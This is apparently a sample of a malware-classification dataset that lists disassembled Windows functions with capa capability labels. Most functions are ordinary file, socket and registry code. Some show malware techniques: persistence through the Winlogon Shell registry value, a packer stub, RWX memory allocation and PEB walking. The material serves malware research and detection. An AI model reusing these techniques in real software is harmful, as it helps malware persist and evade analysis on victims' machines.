joyce8/EMBER2024-capa huggingface dataset:
Function at 0x467300
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x4d1008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push str.system.dat
push 0x4d42c8
lea eax, [ebp - 0x108]
mov esi, ecx
push str._s_s
push eax
mov dword [ebp - 0x114], esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x108]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x467382
push 0x4c2b58
call dword [sym.imp.PAL.dll_PalErrorLogPrintf]
add esp, 4
xor eax, eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046ea3e
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.PAL.dll_PalCheckWindowMode]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
mov dword [esi + 8], eax
lea eax, [ebp - 0x110]
push eax
push 2
push 0x4bb284
push ebx
call edi
push 0
lea eax, [ebp - 0x110]
push eax
push 0x330
push esi
push ebx
call edi
push 0
lea eax, [ebp - 0x10c]
push eax
push 4
lea eax, [esi + 0x265c8]
push eax
push ebx
call edi
push 0
lea eax, [ebp - 0x10c]
push eax
push 4
lea eax, [esi + 0x265cc]
push eax
push ebx
call edi
push 0
lea eax, [ebp - 0x10c]
push eax
push 4
lea eax, [esi + 0x265d4]
push eax
push ebx
call edi
push 0
lea eax, [ebp - 0x10c]
push eax
push 4
lea eax, [esi + 0x265d0]
push eax
push ebx
call edi
push 0
lea eax, [ebp - 0x10c]
push eax
push 0xc
lea eax, [esi + 0x265d8]
push eax
push ebx
call edi
push 0
lea eax, [ebp - 0x10c]
push eax
push 4
lea eax, [esi + 0x265e4]
push eax
push ebx
call edi
push 0
lea eax, [ebp - 0x10c]
push eax
push 4
lea eax, [esi + 0x265e8]
push eax
push ebx
call edi
push 0
lea eax, [ebp - 0x10c]
push eax
push 4
lea eax, [esi + 0x265f0]
push eax
push ebx
call edi
push 0
lea eax, [ebp - 0x10c]
push eax
push 4
lea eax, [esi + 0x265ec]
push eax
push ebx
call edi
push 0
lea eax, [ebp - 0x10c]
push eax
push 0xc
lea eax, [esi + 0x265f4]
push eax
push ebx
call edi
push 0
lea eax, [ebp - 0x10c]
push eax
push 0xc
lea eax, [esi + 0x26760]
push eax
push ebx
call edi
push 0
lea eax, [ebp - 0x10c]
push eax
push 0xb34
lea eax, [esi + 0x2676c]
push eax
push ebx
call edi
push 0
lea eax, [ebp - 0x10c]
push eax
push 8
lea eax, [esi + 0x272a0]
push eax
push ebx
call edi
push 0
lea eax, [ebp - 0x10c]
push eax
push 0x1000
lea eax, [esi + 0x44968]
push eax
push ebx
call edi
push 0
lea eax, [ebp - 0x110]
add esi, 0x877ee8
push eax
push 4
push esi
push ebx
call edi
push 0
lea eax, [ebp - 0x110]
push eax
push dword [esi]
mov esi, dword [ebp - 0x114]
push dword [esi + 0x877ee0]
push ebx
call edi
push 0
lea eax, [ebp - 0x110]
add esi, 0x877ee4
push eax
push 4
push esi
push ebx
call edi
push 0
lea eax, [ebp - 0x110]
push eax
mov eax, dword [ebp - 0x114]
push dword [esi]
push dword [eax + 0x877edc]
push ebx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046ea3e
mov esp, ebp
pop ebp
ret
Function at 0x46aa10
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
call dword [sym.imp.WINMM.dll_timeGetTime]
mov dword [edi + 4], eax
mov eax, dword [ebp + 0xc]
push 0
push eax
mov eax, dword [ebp + 8]
add eax, ebx
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x46aa6b
test eax, eax
je 0x46aa59
mov esi, dword [edi + 8]
add ebx, eax
call dword [sym.imp.WINMM.dll_timeGetTime]
sub eax, dword [edi + 4]
cmp eax, esi
jae 0x46aa62
mov eax, dword [ebp + 0xc]
cmp ebx, eax
jb 0x46aa26
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 8
push 0x18
push str.HTTP:_recv_timeout_error
jmp 0x46aa72
push 0x10
push str.HTTP:_recv_error
lea ecx, [edi + 0x18]
call fcn.0042e4b0
push dword [edi]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
pop esi
mov eax, 0x80004005
pop ebx
pop ebp
ret 8

Function at 0x46ab40
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a8
mov eax, dword [0x4d1008]
xor eax, esp
mov dword [esp + 0x1a4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [esp + 0x14]
push edi
mov edi, dword [0x6d8f18]
push eax
push 0x101
mov dword [edi], 0xffffffff
mov dword [edi + 8], 0x2710
call dword [sym.imp.WS2_32.dll_WSAStartup]
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
jne 0x46abc7
push 0x19
push str.HTTP:_gethostbyname_error
lea ecx, [edi + 0x18]
call fcn.0042e4b0
push dword [edi]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 0x80004005
pop edi
pop esi
mov ecx, dword [esp + 0x1a4]
xor ecx, esp
call fcn.0046ea3e
mov esp, ebp
pop ebp
ret 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi], eax
cmp eax, 0xffffffff
jne 0x46abe3
push 0x12
push str.HTTP:_socket_error
jmp 0x46ab96
mov eax, 2
mov word [esp + 8], ax
mov eax, dword [esi + 0xc]
push 0x50
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xa], ax
lea eax, [esp + 8]
push 0x10
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x46ac24
push 0x13
push str.HTTP:_connect_error
jmp 0x46ab96
mov ecx, dword [esp + 0x1ac]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.0046ea3e
mov esp, ebp
pop ebp
ret 8
Function at 0x46cfc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], ecx
mov byte [ebp - 4], 4
mov dword [ebp - 0x10], 0x84df873
mov dword [ebp - 0x14], 0xff987dee
and eax, 3
je 0x46cfea
sub edx, eax
mov dword [ebp - 8], edx
push edi
mov edi, dword [ebp - 0xc]
mov cl, byte [ebp - 4]
mov edx, dword [ebp - 8]
rol byte [edi], cl
add cl, 1
and cl, 0xff
mov eax, dword [ebp - 0x10]
xor dword [edi], eax
mov eax, dword [ebp - 0x14]
xor dword [edi], eax
add edi, 4
sub edx, 4
jne 0x46cff4
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x49b75f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0049af39

Function at 0x49b76a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0049b174

Function at 0x49c40f
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0049c196
Function at 0x4017c4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x404004]
jne 0x4017ce
repz ret
jmp fcn.00401b99

Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
mov eax, 1
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
xor ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
mov ecx, edi
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20
Function at 0x402a84
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40800c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402b1c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402afc
xor eax, eax
push ebp
push 0x402af5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402b38
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402afc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40800c]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40800c], ax
mov esp, ebp
pop ebp
ret

Function at 0x403164
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40b034], 0
je 0x4031c5
cmp word [0x40b208], 0xd7b2
jne 0x40318d
cmp dword [0x40b210], 0
jbe 0x40318d
mov eax, 0x40b204
call dword [0x40b220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x408058
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4031ec
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x408018], 0
jne 0x4031e1
push 0
push 0x408050
push 0x408058
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403560
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4035c6
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040339c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402978
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4035b0
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4035cd
lea eax, [ebp - 0x10]
call fcn.004032e0
ret

Function at 0x403998
Capabilities:
Allocate or change rwx memory
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push 0x40
push 0x3000
push 0x150
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x24], eax
push 0x40
push 0x1000
push pe_nt_image_headers32
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x28], eax
mov ecx, 0x403994
sub ecx, 0x403978
mov edx, 0x403978
mov eax, dword [ebp - 0x24]
call fcn.00403914
mov ecx, 0x403974
sub ecx, 0x403954
mov edx, 0x403954
mov eax, dword [ebp - 0x28]
call fcn.00403914
push ebx
push eax
call fcn.00403a01
Function at 0x403cf0
Capabilities:
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x118
lea ecx, [esp + 4]
push edi
push eax
push str.Explorer.exe__s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 4]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 8]
push ecx
mov ecx, dword [esp + 8]
push eax
push 1
push 0
push str.Shell
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
add esp, 0x118
ret
Function at 0x4047e0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x440338
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x46706c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov edi, ecx
mov esi, dword [ebp + 0xc]
push 0x5c
push esi
call fcn.00423ff0
add esp, 8
test eax, eax
je 0x404831
push esi
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
jmp 0x4048bb
lea eax, [ebp - 0x28]
mov ecx, 0x46b120
push eax
call fcn.0040f390
mov dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0
je 0x404873
cmp byte [esi], 0
jne 0x404855
xor ecx, ecx
jmp 0x404869
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404860
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x28]
call fcn.00402970
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov esi, eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x4048a7
inc ecx
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
call fcn.00402ba0
mov dword [ebp - 0x14], 0xf
mov eax, esi
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042318e
mov esp, ebp
pop ebp
ret 8

Function at 0x404990
Capabilities:
Create process memory minidump

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x45b328
push 0x427cb0
mov eax, dword fs:[0]
push eax
sub esp, 0x11c
mov eax, dword [0x46706c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x12c], esi
test edi, edi
jne 0x404a15
mov dword [ebp - 4], edx
push edx
push edx
push edx
push 0x80000003
call dword [sym.imp.KERNEL32.dll_RaiseException]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], edi
mov dword [ebp - 0x120], 0
push 0
push 0
lea eax, [ebp - 0x128]
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
mov edi, eax
xor esi, esi
test edi, edi
jne 0x404a63
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push str.p2pnetwork.ini
push ecx
mov edx, str.pop_errorbox
mov ecx, str.Debug
call fcn.004047e0
test eax, eax
je 0x404abe
test edi, edi
je 0x404a8e
push 0x40
push 0x454468
push 0x454470
jmp 0x404ab6
push esi
push 0x4544b0
push 0x100
lea eax, [ebp - 0x11c]
push eax
call fcn.00402f60
add esp, 0x10
push 0x40
push 0x454468
lea eax, [ebp - 0x11c]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0042318e
mov esp, ebp
pop ebp
ret
Function at 0x4019dc
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push edi
and dword [ebp - 0x118], 0
xor edi, edi
mov dword [ebp - 0x114], 0xa
mov byte [ebp - 0x104], 0
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x10e]
push eax
push 1
push 1
lea eax, [ebp - 0x104]
push eax
call sub.CRYPT32.DLL_CryptBinaryToStringA
movsx edi, byte [ebp - 0x10e]
sub edi, 0x41
lea eax, [ebp - 0x120]
push eax
call sub.USER32.DLL_GetCursorPos
call sub.KERNEL32.dll_GetLastError
mov eax, edi
pop edi
leave
ret

Function at 0x408931
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x4085d8
call fcn.00408965
and ecx, ecx
push 0x1d87408c
mov eax, dword [esp]
add esp, 4
xor dword [edx], esi
sub eax, ecx
sub eax, 0x1dfc0471
inc edx
dec ecx
add eax, 0xb3e8fa6b
cmp edx, ebx
jne fcn.00408931
sub eax, ecx
sub ecx, ecx
ret
Function at 0x402200
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 8], eax
mov esi, esi
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004021a0
test al, al
jne 0x40222f
jmp 0x402231
jmp 0x40223b
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x402218
mov eax, dword [ebp - 4]
leave
ret
Function at 0x4028d0
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x88]
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov dword [ebp - 0x60], 1
mov dword [ebp - 0x5c], 8
mov dword [ebp - 0x58], 2
mov dword [ebp - 0x54], 4
mov dword [ebp - 0x50], 0x10
mov dword [ebp - 0x4c], pe_nt_image_headers32
mov dword [ebp - 0x48], 0x20
mov dword [ebp - 0x44], 0x40
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x30]
mov dword [ebp - 8], eax
mov dword [ebp - 0x3c], 0
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov ecx, dword [eax + 0x30]
mov eax, dword [edx + 0x3c]
lea eax, [ecx + eax]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xc]
lea eax, [eax + 0xf8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x38]
lea ebx, [eax - 1]
mov dword [ebp - 0x24], 0
cmp ebx, dword [ebp - 0x24]
jb 0x402aa0
sub dword [ebp - 0x24], 1
mov esi, esi
add dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x24]
imul edx, eax, 0x28
mov eax, dword [ebp - 0x10]
lea esi, [edx + eax]
lea edi, [ebp - 0x88]
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x3c]
or eax, edx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x4029a2
jmp 0x4029a7
jmp 0x402a97
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
and eax, 0x2000000
test eax, 0xffffffff
jne 0x4029be
jmp 0x4029d4
push 0x4000
push dword [ebp - 0x30]
push dword [ebp - 0x40]
mov eax, dword [ebp - 4]
call dword [eax + 8]
jmp 0x402a97
mov eax, dword [ebp - 0x34]
and eax, 0x20000000
test eax, 0xffffffff
jne 0x4029e5
jmp 0x4029ee
mov dword [ebp - 0x14], 1
jmp 0x4029f5
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x34]
and eax, 0x40000000
test eax, 0xffffffff
jne 0x402a06
jmp 0x402a0f
mov dword [ebp - 0x18], 1
jmp 0x402a16
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x34]
and eax, 0x80000000
test eax, 0xffffffff
jne 0x402a27
jmp 0x402a30
mov dword [ebp - 0x1c], 1
jmp 0x402a37
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x34]
and eax, 0x4000000
test eax, 0xffffffff
jne 0x402a48
jmp 0x402a51
mov dword [ebp - 0x20], 1
jmp 0x402a58
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x14]
shl eax, 4
mov ecx, dword [ebp - 0x18]
lea eax, [ebp + eax - 0x60]
mov edx, dword [ebp - 0x1c]
lea eax, [eax + ecx*8]
mov eax, dword [eax + edx*4]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x20], 1
je 0x402a79
jmp 0x402a84
mov eax, dword [ebp - 0x28]
or eax, 0x200
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x28]
push dword [ebp - 0x30]
push dword [ebp - 0x40]
mov eax, dword [ebp - 4]
call dword [eax + 4]
cmp ebx, dword [ebp - 0x24]
ja 0x40296c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4062c0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x81012b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x404584
call fcn.00406f21
push 4
mov dword [esp + 0x18], 0
call fcn.00407c1f
mov edi, eax
add esp, 4
test edi, edi
je 0x406334
push ebx
call fcn.00406df9
mov dword [edi], eax
call fcn.00406bb8
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00406ee2
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x406328
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00406f0a
pop ebx
jmp 0x406336
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x408691
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x8133d8]
jne 0x40869b
repz ret
jmp fcn.0040c87c
Function at 0x411abb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x8133d8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040b3ef
and dword [ebp - 0x14], 0
cmp dword [0x8163ac], 0
mov dword [ebp - 0x18], eax
jne 0x411b6e
push 0x404060
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x411c16
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x404054
push ebx
call edi
test eax, eax
je 0x411c16
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x404044
push ebx
mov dword [0x8163ac], eax
call edi
push eax
call esi
push 0x404030
push ebx
mov dword [0x8163b0], eax
call edi
push eax
call esi
push 0x404014
push ebx
mov dword [0x8163b4], eax
call edi
push eax
call esi
mov dword [0x8163bc], eax
test eax, eax
je 0x411b6e
push 0x403ffc
push ebx
call edi
push eax
call esi
mov dword [0x8163b8], eax
mov eax, dword [0x8163b8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x411bc7
cmp dword [0x8163bc], ecx
je 0x411bc7
push eax
call esi
push dword [0x8163bc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x411bc7
test ebx, ebx
je 0x411bc7
call edi
test eax, eax
je 0x411bbe
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x411bbe
test byte [ebp - 8], 1
jne 0x411bc7
or dword [ebp + 0x10], 0x200000
jmp 0x411bfa
mov eax, dword [0x8163b0]
cmp eax, dword [ebp - 0x18]
je 0x411bfa
push eax
call esi
test eax, eax
je 0x411bfa
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x411bfa
mov eax, dword [0x8163b4]
cmp eax, dword [ebp - 0x18]
je 0x411bfa
push eax
call esi
test eax, eax
je 0x411bfa
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x8163ac]
call esi
test eax, eax
je 0x411c16
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x411c18
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408691
leave
ret